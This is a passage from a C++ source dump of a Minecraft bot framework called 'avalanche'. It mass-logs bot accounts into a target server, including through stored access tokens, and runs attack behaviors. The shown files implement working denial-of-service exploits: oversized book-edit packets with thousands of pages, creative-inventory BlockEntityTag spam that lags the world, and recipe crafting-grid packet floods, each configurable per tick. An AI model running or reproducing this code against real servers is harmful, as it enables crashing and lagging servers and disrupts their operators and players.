childrenNode.begin(); iter != childrenNode.end(); ++iter) { 69 | if (!iter->isObject()) continue; 70 | 71 | auto&& childNode = *iter; 72 | auto&& methodNode = childNode["method"]; 73 | if (!methodNode.isString()) 74 | continue; 75 | 76 | std::string method = methodNode.asString(); 77 | 78 | auto child = g_BehaviorFactory.Create(method, m_Client, m_Version); 79 | if (!child) { 80 | std::cerr << "Unknown behavior " << method << " in sequence." << std::endl; 81 | continue; 82 | } 83 | 84 | if (!child->ReadJSON(childNode)) { 85 | std::cerr << "Failed to read sequence child " << method << std::endl; 86 | continue; 87 | } 88 | 89 | m_Children.push_back(std::move(child)); 90 | } 91 | 92 | return true; 93 | } 94 | 95 | } // ns avalanche 96 | -------------------------------------------------------------------------------- /avalanche/login/generator/MultiTokenGenerator.cpp: -------------------------------------------------------------------------------- 1 | #include "MultiTokenGenerator.h" 2 | 3 | #include 4 | #include 5 | 6 | namespace avalanche { 7 | 8 | const char *MultiTokenGenerator::s_Name = "multi-token"; 9 | 10 | MultiTokenGenerator::MultiTokenGenerator() 11 | : m_Index(0) 12 | { 13 | 14 | } 15 | 16 | 17 | bool MultiTokenGenerator::Initialize(const std::string& filename) { 18 | m_Users.clear(); 19 | 20 | std::ifstream in(filename); 21 | 22 | if (!in.is_open()) 23 | throw std::runtime_error(std::string(s_Name) + ": Could not open file " + filename); 24 | 25 | std::string line; 26 | while (std::getline(in, line)) { 27 | auto pos = line.find(':'); 28 | if (pos == std::string::npos) continue; 29 | 30 | auto length = pos; 31 | 32 | std::string username = line.substr(0, length); 33 | 34 | auto prev = pos + 1; 35 | 36 | pos = line.find(':', pos + 1); 37 | if (pos == std::string::npos) continue; 38 | 39 | length = pos - prev; 40 | std::string accessToken = line.substr(prev, length); 41 | 42 | prev = pos + 1; 43 | 44 | std::string clientToken; 45 | std::string profileId; 46 | 47 | pos = line.find(':', pos + 1); 48 | 49 | if (pos == std::string::npos) { 50 | clientToken = line.substr(prev); 51 | } else { 52 | length = pos - prev; 53 | 54 | clientToken = line.substr(prev, length); 55 | profileId = line.substr(pos + 1); 56 | } 57 | 58 | mc::core::AuthToken token(accessToken, clientToken, profileId); 59 | if (token.Validate(username)) 60 | m_Users.emplace_back(username, token); 61 | else 62 | std::cerr << "Failed to validate " << username << std::endl; 63 | } 64 | 65 | if (m_Users.empty()) 66 | throw std::runtime_error(std::string(s_Name) + ": No users loaded from " + filename); 67 | 68 | return true; 69 | } 70 | 71 | Authenticator MultiTokenGenerator::Generate() { 72 | if (m_Index > m_Users.size() - 1) 73 | throw std::out_of_range(std::string(s_Name) + ": Index higher than user count"); 74 | 75 | UserToken current = m_Users[m_Index++]; 76 | 77 | return Authenticator(current.username, current.token); 78 | } 79 | 80 | bool MultiTokenGenerator::ReadJSON(const Json::Value& node) { 81 | auto&& filenameNode = node["filename"]; 82 | 83 | if (!filenameNode.isString()) 84 | return false; 85 | 86 | return Initialize(filenameNode.asString()); 87 | } 88 | 89 | } // ns avalanche 90 | -------------------------------------------------------------------------------- /avalanche/login/LoginSequential.cpp: -------------------------------------------------------------------------------- 1 | #include "LoginSequential.h" 2 | 3 | #include "../Instance.h" 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | namespace avalanche { 10 | 11 | const char* LoginSequential::s_Name = "sequential"; 12 | 13 | struct login_guard : public mc::core::ConnectionListener { 14 | mc::core::Connection* connection; 15 | bool waiting; 16 | bool result; 17 | 18 | login_guard(mc::core::Connection* connection) : connection(connection), waiting(true), result(false) { 19 | connection->RegisterListener(this); 20 | } 21 | 22 | ~login_guard() { 23 | connection->UnregisterListener(this); 24 | } 25 | 26 | void OnLogin(bool success) override { 27 | result = success; 28 | waiting = false; 29 | } 30 | 31 | void OnSocketStateChange(mc::network::Socket::Status newStatus) override { 32 | result = false; 33 | waiting = false; 34 | } 35 | }; 36 | 37 | LoginSequential::LoginSequential() 38 | : m_Delay(0) 39 | { 40 | 41 | } 42 | 43 | std::size_t LoginSequential::Login(std::vector>& instances) { 44 | std::size_t total = 0; 45 | 46 | for (std::size_t i = 0; i < instances.size(); ++i) { 47 | if (i != 0) { 48 | auto time = mc::util::GetTime(); 49 | // Update previous instances while waiting to log in the next one. 50 | while (mc::util::GetTime() < time + m_Delay) { 51 | for (std::size_t j = 0; j < i; ++j) { 52 | auto connState = instances[j]->GetClient()->GetConnection()->GetSocketState(); 53 | 54 | if (connState == mc::network::Socket::Status::Connected) 55 | instances[j]->GetClient()->Update(); 56 | } 57 | } 58 | } 59 | 60 | try { 61 | Authenticator authenticator = m_Generator->Generate(); 62 | std::cout << "Trying to log in to " << m_Host << ":" << m_Port << " with " << authenticator.GetUsername() << std::endl; 63 | 64 | if (!authenticator.Authenticate(*instances[i], m_Host, m_Port)) { 65 | std::cerr << "Failed to login with instance " << i << std::endl; 66 | continue; 67 | } 68 | } catch (const std::exception& e) { 69 | std::cerr << e.what() << std::endl; 70 | continue; 71 | } 72 | 73 | login_guard guard(instances[i]->GetClient()->GetConnection()); 74 | 75 | while (guard.waiting) { 76 | auto connState = instances[i]->GetClient()->GetConnection()->GetSocketState(); 77 | 78 | if (connState == mc::network::Socket::Status::Connected) 79 | instances[i]->GetClient()->Update(); 80 | } 81 | 82 | if (guard.result) { 83 | std::cout << "Successfully logged in instance " << i << std::endl; 84 | ++total; 85 | } else { 86 | std::cerr << "Failed to login with instance " << i << std::endl; 87 | } 88 | } 89 | 90 | return total; 91 | } 92 | 93 | bool LoginSequential::ReadMethodJSON(const Json::Value& node) { 94 | auto&& delayNode = node["delay"]; 95 | 96 | if (delayNode.isInt()) 97 | m_Delay = delayNode.asInt(); 98 | 99 | return true; 100 | } 101 | 102 | } // ns avalanche 103 | -------------------------------------------------------------------------------- /avalanche/login/LoginMethod.cpp: -------------------------------------------------------------------------------- 1 | #include "LoginMethod.h" 2 | 3 | #include "generator/IncrementalGenerator.h" 4 | #include "generator/RandomGenerator.h" 5 | #include "generator/MultiUserGenerator.h" 6 | #include "generator/MultiTokenGenerator.h" 7 | #include "LoginFlood.h" 8 | #include "LoginSequential.h" 9 | #include "../Factory.h" 10 | #include 11 | #include 12 | 13 | namespace avalanche { 14 | 15 | LoginFactory g_LoginFactory = LoginFactory::MethodRegistry{ 16 | { LoginFlood::s_Name, []() -> std::unique_ptr { return std::make_unique(); } }, 17 | { LoginSequential::s_Name, []() -> std::unique_ptr { return std::make_unique(); } }, 18 | }; 19 | 20 | using GeneratorFactory = Factory; 21 | static const GeneratorFactory generatorFactory = GeneratorFactory::MethodRegistry { 22 | { IncrementalGenerator::s_Name, []() -> std::unique_ptr { return std::make_unique(); } }, 23 | { RandomGenerator::s_Name, []() -> std::unique_ptr { return std::make_unique(); } }, 24 | { MultiUserGenerator::s_Name, []() -> std::unique_ptr { return std::make_unique(); } }, 25 | { MultiTokenGenerator::s_Name, []() -> std::unique_ptr { return std::make_unique(); } }, 26 | }; 27 | 28 | 29 | LoginMethod::LoginMethod() 30 | : m_Port(25565) 31 | { 32 | 33 | } 34 | 35 | void LoginMethod::ParseServer(const std::string& server) { 36 | m_Host = server; 37 | 38 | auto pos = m_Host.find(':'); 39 | if (pos != std::string::npos) { 40 | m_Port = atoi(m_Host.substr(pos + 1).c_str()); 41 | m_Host = m_Host.substr(0, pos); 42 | } 43 | } 44 | 45 | bool LoginMethod::ReadJSON(const Json::Value& node) { 46 | auto&& serverNode = node["server"]; 47 | auto&& methodNode = node["method"]; 48 | auto&& generatorNode = node["generator"]; 49 | 50 | if (!serverNode.isString() || !methodNode.isObject()) 51 | return false; 52 | 53 | if (serverNode.isString()) 54 | ParseServer(serverNode.asString()); 55 | 56 | if (generatorNode.isObject()) { 57 | auto&& generatorMethodNode = generatorNode["method"]; 58 | 59 | if (generatorMethodNode.isString()) { 60 | m_Generator = generatorFactory.Create(generatorMethodNode.asString()); 61 | 62 | if (m_Generator) { 63 | if (!m_Generator->ReadJSON(generatorNode)) 64 | return false; 65 | } 66 | } 67 | } 68 | 69 | return ReadMethodJSON(methodNode); 70 | } 71 | 72 | bool LoginMethod::ReadOptions(std::unordered_map options) { 73 | auto usernameIter = options.find("username"); 74 | auto passwordIter = options.find("password"); 75 | auto serverIter = options.find("server"); 76 | 77 | if (m_Generator == nullptr) 78 | m_Generator = generatorFactory.Create(IncrementalGenerator::s_Name); 79 | 80 | IncrementalGenerator* gen = dynamic_cast(m_Generator.get()); 81 | 82 | if (gen != nullptr) { 83 | std::string username = gen->GetBaseName(); 84 | std::string password = gen->GetPassword(); 85 | 86 | if (usernameIter != options.end()) 87 | username = usernameIter->second; 88 | 89 | if (passwordIter != options.end()) 90 | password = passwordIter->second; 91 | 92 | gen->Initialize(username, password, gen->GetIndex()); 93 | 94 | if (username.empty()) 95 | return false; 96 | } 97 | 98 | if (serverIter != options.end()) 99 | ParseServer(serverIter->second); 100 | 101 | return !m_Host.empty(); 102 | } 103 | 104 | } // ns avalanche 105 | -------------------------------------------------------------------------------- /avalanche/behavior/BehaviorSwing.cpp: -------------------------------------------------------------------------------- 1 | #include "BehaviorSwing.h" 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #undef min 8 | #undef max 9 | 10 | namespace avalanche { 11 | 12 | const char* BehaviorSwing::s_Name = "swing"; 13 | 14 | mc::Vector3d OrientationToVector(double yaw, double pitch) { 15 | return mc::Vector3d( 16 | -std::cos(pitch) * std::sin(yaw), 17 | -std::sin(pitch), 18 | std::cos(pitch) * std::cos(yaw) 19 | ); 20 | } 21 | 22 | BehaviorSwing::BehaviorSwing(mc::core::Client* client, mc::protocol::Version version) 23 | : m_Client(client), 24 | m_Hand(mc::Hand::Main), 25 | m_Attack(false), 26 | m_Finished(false) 27 | { 28 | 29 | } 30 | 31 | void BehaviorSwing::OnCreate() { 32 | m_Finished = false; 33 | m_Client->RegisterListener(this); 34 | } 35 | 36 | bool BehaviorSwing::OnUpdate() { 37 | return m_Finished; 38 | } 39 | 40 | void BehaviorSwing::OnDestroy() { 41 | m_Client->UnregisterListener(this); 42 | } 43 | 44 | void BehaviorSwing::OnTick() { 45 | if (!m_Client->GetWorld()->GetChunk(mc::ToVector3i(m_Client->GetPlayerController()->GetPosition()))) 46 | return; 47 | 48 | using namespace mc::protocol::packets; 49 | 50 | if (m_Attack) { 51 | auto controller = m_Client->GetPlayerController(); 52 | float pitch = controller->GetPitch(); 53 | float yaw = controller->GetYaw(); 54 | 55 | mc::Vector3d direction = mc::Vector3Normalize(OrientationToVector(yaw, pitch)); 56 | 57 | mc::Ray ray(controller->GetPosition() + mc::Vector3d(0, 1.6, 0), direction); 58 | 59 | auto entityMan = m_Client->GetEntityManager(); 60 | 61 | static const mc::AABB playerBoundingBox(mc::Vector3d(-0.3, 0, -0.3), mc::Vector3d(0.3, 1.8, 0.3)); 62 | 63 | mc::entity::EntityPtr closest; 64 | double closestDist = std::numeric_limits::max(); 65 | 66 | for (auto iter = entityMan->begin(); iter != entityMan->end(); ++iter) { 67 | auto entity = iter->second; 68 | 69 | if (entity == entityMan->GetPlayerEntity()) continue; 70 | 71 | if (entity) { 72 | auto&& meta = entity->GetMetadata(); 73 | auto health = meta.GetIndex(7); 74 | 75 | if (!health) continue; 76 | if (health->value <= 0.0f) continue; 77 | 78 | mc::AABB entityBounds = playerBoundingBox + entity->GetPosition(); 79 | 80 | double length; 81 | if (entityBounds.Intersects(ray, &length)) { 82 | if (length < closestDist) { 83 | closest = entity; 84 | closestDist = length; 85 | } 86 | } 87 | } 88 | } 89 | 90 | if (closestDist <= 4.0) { 91 | out::UseEntityPacket attackPacket(closest->GetEntityId(), out::UseEntityPacket::Action::Attack); 92 | 93 | m_Client->GetConnection()->SendPacket(&attackPacket); 94 | } 95 | } 96 | 97 | out::AnimationPacket packet(m_Hand); 98 | m_Client->GetConnection()->SendPacket(&packet); 99 | 100 | m_Finished = true; 101 | } 102 | 103 | bool BehaviorSwing::ReadJSON(const Json::Value& node) { 104 | auto&& attackNode = node["attack"]; 105 | auto&& handNode = node["hand"]; 106 | 107 | if (attackNode.isBool()) 108 | m_Attack = attackNode.asBool(); 109 | 110 | if (handNode.isString()) { 111 | std::string hand = handNode.asString(); 112 | 113 | std::transform(hand.begin(), hand.end(), hand.begin(), ::tolower); 114 | 115 | if (hand == "off") 116 | m_Hand = mc::Hand::Off; 117 | } 118 | 119 | return true; 120 | } 121 | 122 | } // ns avalanche 123 | -------------------------------------------------------------------------------- /avalanche/behavior/attack/AttackBookEdit.cpp: -------------------------------------------------------------------------------- 1 | #include "AttackBookEdit.h" 2 | 3 | #include 4 | 5 | namespace avalanche { 6 | 7 | const char* AttackBookEdit::s_Name = "bookedit"; 8 | s32 AttackBookEdit::s_BookPages = 3000; 9 | s32 AttackBookEdit::s_SendPerTick = 1; 10 | std::string AttackBookEdit::s_AttackData; 11 | mc::inventory::Slot AttackBookEdit::s_AttackItem; 12 | 13 | AttackBookEdit::AttackBookEdit(mc::core::Client* client, mc::protocol::Version version) 14 | : mc::protocol::packets::PacketHandler(client->GetDispatcher()), 15 | m_Client(client), 16 | m_Finished(false), 17 | m_Hidden(false), 18 | m_Transaction(false), 19 | m_TransactionIndex(1) 20 | { 21 | 22 | } 23 | 24 | AttackBookEdit::~AttackBookEdit() { 25 | 26 | } 27 | 28 | void AttackBookEdit::HandlePacket(mc::protocol::packets::in::ConfirmTransactionPacket* packet) { 29 | m_Transaction = false; 30 | } 31 | 32 | void AttackBookEdit::OnCreate() { 33 | m_Client->RegisterListener(this); 34 | GetDispatcher()->RegisterHandler(mc::protocol::State::Play, mc::protocol::play::ConfirmTransaction, this); 35 | 36 | m_Finished = false; 37 | m_Transaction = false; 38 | } 39 | 40 | void AttackBookEdit::OnDestroy() { 41 | m_Client->UnregisterListener(this); 42 | GetDispatcher()->UnregisterHandler(this); 43 | } 44 | 45 | void AttackBookEdit::CreateAttack() { 46 | mc::nbt::NBT nbt; 47 | auto tag = &nbt.GetRoot(); 48 | 49 | tag->SetName(L"tag"); 50 | 51 | mc::nbt::TagPtr generation = std::make_shared(L"generation", 0); 52 | mc::nbt::TagPtr author = std::make_shared(L"author", L"aaaaaa"); 53 | mc::nbt::TagPtr title = std::make_shared(L"title", L"bbbbbb"); 54 | 55 | auto pages = std::make_shared(L"pages", mc::nbt::TagType::String); 56 | 57 | for (s32 i = 0; i < s_BookPages; ++i) { 58 | std::wstring pageText = L"t"; 59 | pages->AddItem(std::make_shared(L"", pageText)); 60 | } 61 | 62 | tag->AddItem(mc::nbt::TagType::Int, generation); 63 | tag->AddItem(mc::nbt::TagType::String, author); 64 | tag->AddItem(mc::nbt::TagType::String, title); 65 | tag->AddItem(mc::nbt::TagType::List, pages); 66 | 67 | mc::DataBuffer buffer; 68 | mc::inventory::Slot book(387, 1, 0, nbt); 69 | buffer << book; 70 | 71 | s_AttackData = buffer.ToString(); 72 | s_AttackItem = mc::inventory::Slot(387, 1, 0, nbt); 73 | } 74 | 75 | void AttackBookEdit::OnTick() { 76 | // Only start doing the attack once the world data is received. 77 | if (!m_Client->GetWorld()->GetChunk(mc::ToVector3i(m_Client->GetPlayerController()->GetPosition()))) 78 | return; 79 | 80 | if (s_AttackData.empty()) { 81 | CreateAttack(); 82 | } 83 | 84 | if (m_Hidden && m_Transaction) return; 85 | 86 | for (s32 i = 0; i < s_SendPerTick; ++i) { 87 | if (m_Hidden) { 88 | mc::protocol::packets::out::ClickWindowPacket packet(0, 36, 0, m_TransactionIndex++, 2, s_AttackItem); 89 | m_Client->GetConnection()->SendPacket(&packet); 90 | 91 | m_Transaction = true; 92 | } else { 93 | mc::protocol::packets::out::PluginMessagePacket packet(L"MC|BEdit", s_AttackData); 94 | m_Client->GetConnection()->SendPacket(&packet); 95 | } 96 | } 97 | 98 | m_Finished = true; 99 | } 100 | 101 | bool AttackBookEdit::ReadJSON(const Json::Value& attackNode) { 102 | auto&& methodNode = attackNode["method"]; 103 | if (!methodNode.isString() || methodNode.asString() != s_Name) 104 | return false; 105 | 106 | auto&& pagesNode = attackNode["pages"]; 107 | if (!pagesNode.isNull()) { 108 | s_BookPages = pagesNode.asInt(); 109 | } 110 | 111 | auto&& sendPerTickNode = attackNode["send-per-tick"]; 112 | if (!sendPerTickNode.isNull()) { 113 | s_SendPerTick = sendPerTickNode.asInt(); 114 | } 115 | 116 | auto&& hiddenNode = attackNode["hidden"]; 117 | if (hiddenNode.isBool()) { 118 | m_Hidden = hiddenNode.asBool(); 119 | } 120 | 121 | return true; 122 | } 123 | 124 | } // ns avalanche 125 | -------------------------------------------------------------------------------- /avalanche/behavior/attack/AttackCreativeWorldLag.cpp: -------------------------------------------------------------------------------- 1 | #include "AttackCreativeWorldLag.h" 2 | 3 | #include 4 | #include 5 | 6 | namespace avalanche { 7 | 8 | const char* AttackCreativeWorldLag::s_Name = "creative-world-lag"; 9 | s32 AttackCreativeWorldLag::s_SendPerTick = 1; 10 | 11 | AttackCreativeWorldLag::AttackCreativeWorldLag(mc::core::Client* client, mc::protocol::Version version) 12 | : m_Client(client), 13 | m_PositionProvider(std::make_unique(mc::Vector3i(0, 64, 0), 10, 10)), 14 | m_Finished(false) 15 | { 16 | 17 | } 18 | 19 | AttackCreativeWorldLag::~AttackCreativeWorldLag() { 20 | 21 | } 22 | 23 | void AttackCreativeWorldLag::OnCreate() { 24 | m_Client->RegisterListener(this); 25 | m_Finished = false; 26 | } 27 | 28 | void AttackCreativeWorldLag::OnDestroy() { 29 | m_Client->UnregisterListener(this); 30 | } 31 | 32 | mc::inventory::Slot AttackCreativeWorldLag::CreateSlotAttack() { 33 | mc::nbt::NBT nbt; 34 | auto tag = &nbt.GetRoot(); 35 | 36 | tag->SetName(L"tag"); 37 | 38 | auto compound = std::make_shared(L"BlockEntityTag"); 39 | 40 | auto position = m_PositionProvider->NextPosition(); 41 | 42 | compound->AddItem(mc::nbt::TagType::Int, std::make_shared("x", (s32)position.x)); 43 | compound->AddItem(mc::nbt::TagType::Int, std::make_shared("y", (s32)position.y)); 44 | compound->AddItem(mc::nbt::TagType::Int, std::make_shared("z", (s32)position.z)); 45 | 46 | tag->AddItem(mc::nbt::TagType::Compound, compound); 47 | 48 | return mc::inventory::Slot(54, 1, 0, nbt); 49 | } 50 | 51 | void AttackCreativeWorldLag::OnTick() { 52 | // Only start doing the attack once the world data is received. 53 | if (!m_Client->GetWorld()->GetChunk(mc::ToVector3i(m_Client->GetPlayerController()->GetPosition()))) 54 | return; 55 | 56 | using namespace mc::protocol::packets::out; 57 | 58 | for (s32 i = 0; i < s_SendPerTick; ++i) { 59 | auto attackSlot = CreateSlotAttack(); 60 | CreativeInventoryActionPacket packet(36, attackSlot); 61 | 62 | m_Client->GetConnection()->SendPacket(&packet); 63 | } 64 | 65 | m_Finished = true; 66 | } 67 | 68 | bool AttackCreativeWorldLag::ReadJSON(const Json::Value& attackNode) { 69 | auto&& methodNode = attackNode["method"]; 70 | if (!methodNode.isString() || methodNode.asString() != s_Name) 71 | return false; 72 | 73 | auto&& sendPerTickNode = attackNode["send-per-tick"]; 74 | if (!sendPerTickNode.isNull()) 75 | s_SendPerTick = sendPerTickNode.asInt(); 76 | 77 | auto&& positionNode = attackNode["position"]; 78 | if (positionNode.isObject()) { 79 | auto&& positionMethodNode = positionNode["method"]; 80 | 81 | std::string positionMethod = "increment"; 82 | if (positionMethodNode.isString()) 83 | positionMethod = positionMethodNode.asString(); 84 | 85 | std::transform(positionMethod.begin(), positionMethod.end(), positionMethod.begin(), ::tolower); 86 | 87 | if (positionMethod == "increment") { 88 | auto&& initialNode = positionNode["initial"]; 89 | mc::Vector3i initial(0, 64, 0); 90 | 91 | if (initialNode.isObject()) { 92 | auto&& xNode = initialNode["x"]; 93 | auto&& yNode = initialNode["y"]; 94 | auto&& zNode = initialNode["z"]; 95 | 96 | if (xNode.isInt()) 97 | initial.x = xNode.asInt(); 98 | 99 | if (yNode.isInt()) 100 | initial.y = yNode.asInt(); 101 | 102 | if (zNode.isInt()) 103 | initial.z = zNode.asInt(); 104 | } 105 | 106 | s32 xInc = 10; 107 | s32 zInc = 10; 108 | 109 | auto&& incrementNode = positionNode["increment"]; 110 | if (incrementNode.isObject()) { 111 | auto&& xNode = incrementNode["x"]; 112 | auto&& zNode = incrementNode["z"]; 113 | 114 | if (xNode.isInt()) 115 | xInc = xNode.asInt(); 116 | 117 | if (zNode.isInt()) 118 | zInc = zNode.asInt(); 119 | } 120 | 121 | m_PositionProvider = std::make_unique(initial, xInc, zInc); 122 | } else if (positionMethod == "random") { 123 | m_PositionProvider = std::make_unique(); 124 | } 125 | } 126 | 127 | return true; 128 | } 129 | 130 | } // ns avalanche 131 | -------------------------------------------------------------------------------- /avalanche/behavior/attack/AttackRecipe.cpp: -------------------------------------------------------------------------------- 1 | #include "AttackRecipe.h" 2 | 3 | #include 4 | 5 | namespace avalanche { 6 | 7 | const char* AttackRecipe::s_Name = "recipe"; 8 | s32 AttackRecipe::s_BookPages = 3000; 9 | s32 AttackRecipe::s_SendPerTick = 1; 10 | s32 AttackRecipe::s_ReturnCount = 1; 11 | s32 AttackRecipe::s_PrepareCount = 1; 12 | mc::inventory::Slot AttackRecipe::s_AttackItem; 13 | 14 | AttackRecipe::AttackRecipe(mc::core::Client* client, mc::protocol::Version version) 15 | : mc::protocol::packets::PacketHandler(client->GetDispatcher()), 16 | m_Client(client), 17 | m_Version(version), 18 | m_TransactionIndex(1), 19 | m_Finished(false), 20 | m_Transaction(false) 21 | { 22 | 23 | } 24 | 25 | AttackRecipe::~AttackRecipe() { 26 | 27 | } 28 | 29 | void AttackRecipe::HandlePacket(mc::protocol::packets::in::ConfirmTransactionPacket* packet) { 30 | m_Transaction = false; 31 | } 32 | 33 | void AttackRecipe::OnCreate() { 34 | m_Client->RegisterListener(this); 35 | GetDispatcher()->RegisterHandler(mc::protocol::State::Play, mc::protocol::play::ConfirmTransaction, this); 36 | 37 | m_Finished = false; 38 | m_Transaction = false; 39 | } 40 | 41 | void AttackRecipe::OnDestroy() { 42 | m_Client->UnregisterListener(this); 43 | GetDispatcher()->UnregisterHandler(this); 44 | } 45 | 46 | void AttackRecipe::CreateAttack() { 47 | mc::nbt::NBT nbt; 48 | auto tag = &nbt.GetRoot(); 49 | 50 | tag->SetName(L"tag"); 51 | 52 | mc::nbt::TagPtr generation = std::make_shared(L"generation", 0); 53 | mc::nbt::TagPtr author = std::make_shared(L"author", L"aaaaaa"); 54 | mc::nbt::TagPtr title = std::make_shared(L"title", L"bbbbbb"); 55 | 56 | auto pages = std::make_shared(L"pages", mc::nbt::TagType::String); 57 | 58 | for (s32 i = 0; i < s_BookPages; ++i) { 59 | std::wstring pageText = L"t"; 60 | pages->AddItem(std::make_shared(L"", pageText)); 61 | } 62 | 63 | tag->AddItem(mc::nbt::TagType::Int, generation); 64 | tag->AddItem(mc::nbt::TagType::String, author); 65 | tag->AddItem(mc::nbt::TagType::String, title); 66 | tag->AddItem(mc::nbt::TagType::List, pages); 67 | 68 | mc::DataBuffer buffer; 69 | mc::inventory::Slot book(387, 1, 0, nbt); 70 | buffer << book; 71 | 72 | s_AttackItem = mc::inventory::Slot(387, 1, 0, nbt); 73 | } 74 | 75 | void AttackRecipe::OnTick() { 76 | // Only start doing the attack once the world data is received. 77 | if (!m_Client->GetWorld()->GetChunk(mc::ToVector3i(m_Client->GetPlayerController()->GetPosition()))) 78 | return; 79 | 80 | static std::vector returnEntries; 81 | static std::vector prepareEntries; 82 | 83 | if (s_AttackItem.GetItemId() == -1) { 84 | CreateAttack(); 85 | 86 | mc::protocol::packets::out::PrepareCraftingGridPacket::Entry entry; 87 | entry.craftingSlot = 0; 88 | entry.playerSlot = 0; 89 | entry.item = s_AttackItem; 90 | 91 | for (s32 i = 0; i < s_ReturnCount; ++i) { 92 | returnEntries.push_back(entry); 93 | } 94 | 95 | for (s32 i = 0; i < s_PrepareCount; ++i) { 96 | prepareEntries.push_back(entry); 97 | } 98 | } 99 | 100 | if (m_Transaction) return; 101 | 102 | for (s32 i = 0; i < s_SendPerTick; ++i) { 103 | mc::protocol::packets::out::PrepareCraftingGridPacket packet(0, m_TransactionIndex++, returnEntries, prepareEntries); 104 | m_Client->GetConnection()->SendPacket(&packet); 105 | 106 | m_Transaction = true; 107 | } 108 | 109 | m_Finished = true; 110 | } 111 | 112 | bool AttackRecipe::ReadJSON(const Json::Value& attackNode) { 113 | if (m_Version != mc::protocol::Version::Minecraft_1_12_0) { 114 | throw std::runtime_error("AttackRecipe requires protocol 1.12.0."); 115 | } 116 | 117 | auto&& methodNode = attackNode["method"]; 118 | if (!methodNode.isString() || methodNode.asString() != s_Name) 119 | return false; 120 | 121 | auto&& pagesNode = attackNode["pages"]; 122 | if (!pagesNode.isNull()) { 123 | s_BookPages = pagesNode.asInt(); 124 | } 125 | 126 | auto&& sendPerTickNode = attackNode["send-per-tick"]; 127 | if (!sendPerTickNode.isNull()) { 128 | s_SendPerTick = sendPerTickNode.asInt(); 129 | } 130 | 131 | auto&& returnCountNode = attackNode["return-count"]; 132 | if (returnCountNode.isInt()) { 133 | s_ReturnCount = returnCountNode.asInt(); 134 | } 135 | 136 | auto&& prepareCountNode = attackNode["prepare-count"]; 137 | if (prepareCountNode.isInt()) { 138 | s_PrepareCount = prepareCountNode.asInt(); 139 | } 140 | 141 | return true; 142 | } 143 | 144 | } // ns avalanche 145 | -------------------------------------------------------------------------------- /avalanche/Avalanche.cpp: -------------------------------------------------------------------------------- 1 | #include "Avalanche.h" 2 | #include "Factory.h" 3 | #include "login/LoginFlood.h" 4 | #include "VersionDetector.h" 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | namespace avalanche { 11 | 12 | void Avalanche::Run() { 13 | if (m_Instances.empty()) 14 | return; 15 | 16 | s32 activeInstances = m_LoginMethod->Login(m_Instances); 17 | 18 | std::cout << "Successfully logged in " << activeInstances << "/" << m_Instances.size() << " instances." << std::endl; 19 | 20 | while (activeInstances > 0) { 21 | for (auto&& instance : m_Instances) { 22 | if (!instance->Update()) { 23 | --activeInstances; 24 | std::cout << "Instance was kicked from server. " << activeInstances << " instances remaining." << std::endl; 25 | } 26 | } 27 | } 28 | } 29 | 30 | bool Avalanche::Initialize(const OptionMap& options) { 31 | auto jsonIter = options.find("json"); 32 | Json::Value behaviorNode; 33 | std::string behaviorMethod; 34 | std::size_t count = 1; 35 | 36 | auto behaviorIter = options.find("behavior"); 37 | if (behaviorIter != options.end()) 38 | behaviorMethod = behaviorIter->second; 39 | 40 | if (jsonIter != options.end()) { 41 | std::string jsonFile = jsonIter->second; 42 | 43 | Json::Reader reader; 44 | Json::Value root; 45 | 46 | std::ifstream in(jsonFile); 47 | 48 | if (!in.is_open()) 49 | throw std::runtime_error("Failed to read JSON file " + jsonFile); 50 | 51 | if (!reader.parse(in, root)) 52 | throw std::runtime_error("Failed to parse JSON file " + jsonFile); 53 | 54 | auto&& countNode = root["count"]; 55 | if (countNode.isInt()) 56 | count = countNode.asInt(); 57 | 58 | auto&& loginNode = root["login"]; 59 | if (loginNode.isObject()) { 60 | auto&& methodNode = loginNode["method"]; 61 | std::string methodName = LoginFlood::s_Name; 62 | 63 | if (methodNode.isObject()) { 64 | if (methodNode["name"].isString()) 65 | methodName = methodNode["name"].asString(); 66 | } 67 | 68 | m_LoginMethod = g_LoginFactory.Create(methodName); 69 | 70 | if (m_LoginMethod) { 71 | if (!m_LoginMethod->ReadJSON(loginNode)) { 72 | std::cerr << "Failed to read login method JSON." << std::endl; 73 | return false; 74 | } 75 | } 76 | } 77 | 78 | if (behaviorMethod.empty()) { 79 | behaviorNode = root["behavior"]; 80 | if (behaviorNode.isObject()) { 81 | auto&& methodNode = behaviorNode["method"]; 82 | if (methodNode.isString()) { 83 | behaviorMethod = methodNode.asString(); 84 | } 85 | } 86 | } 87 | } 88 | 89 | if (m_LoginMethod == nullptr) { 90 | m_LoginMethod = g_LoginFactory.Create(LoginFlood::s_Name); 91 | } 92 | 93 | if (!m_LoginMethod->ReadOptions(options)) { 94 | return false; 95 | } 96 | 97 | auto countIter = options.find("count"); 98 | if (countIter != options.end()) 99 | count = strtol(countIter->second.c_str(), nullptr, 10); 100 | 101 | VersionDetector versionDetector(m_LoginMethod->GetHost(), m_LoginMethod->GetPort()); 102 | auto version = versionDetector.GetVersion(); 103 | 104 | m_Instances.reserve(count); 105 | 106 | for (std::size_t i = 0; i < count; ++i) 107 | m_Instances.emplace_back(std::make_unique(version)); 108 | 109 | if (g_BehaviorFactory.Contains(behaviorMethod)) 110 | std::cout << "behavior: " << behaviorMethod << std::endl; 111 | else 112 | std::cout << "behavior: none" << std::endl; 113 | 114 | for (auto&& instance : m_Instances) { 115 | if (!behaviorMethod.empty()) { 116 | std::unique_ptr behavior = g_BehaviorFactory.Create(behaviorMethod, instance->GetClient(), version); 117 | 118 | if (behavior && !behaviorNode.isNull()) { 119 | try { 120 | if (!behavior->ReadJSON(behaviorNode)) { 121 | std::cerr << "Error reading behavior JSON" << std::endl; 122 | 123 | m_Instances.clear(); 124 | return true; 125 | } 126 | } catch (const std::exception& e) { 127 | std::cerr << "Behavior error: " << e.what() << std::endl; 128 | 129 | m_Instances.clear(); 130 | return true; 131 | } 132 | } 133 | 134 | if (behavior) 135 | behavior->OnCreate(); 136 | 137 | instance->SetBehavior(std::move(behavior)); 138 | } 139 | } 140 | 141 | return true; 142 | } 143 | 144 | } // ns avalanche 145 | -------------------------------------------------------------------------------- /avalanche/getopt.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 1987, 1993, 1994 3 | * The Regents of the University of California. All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following 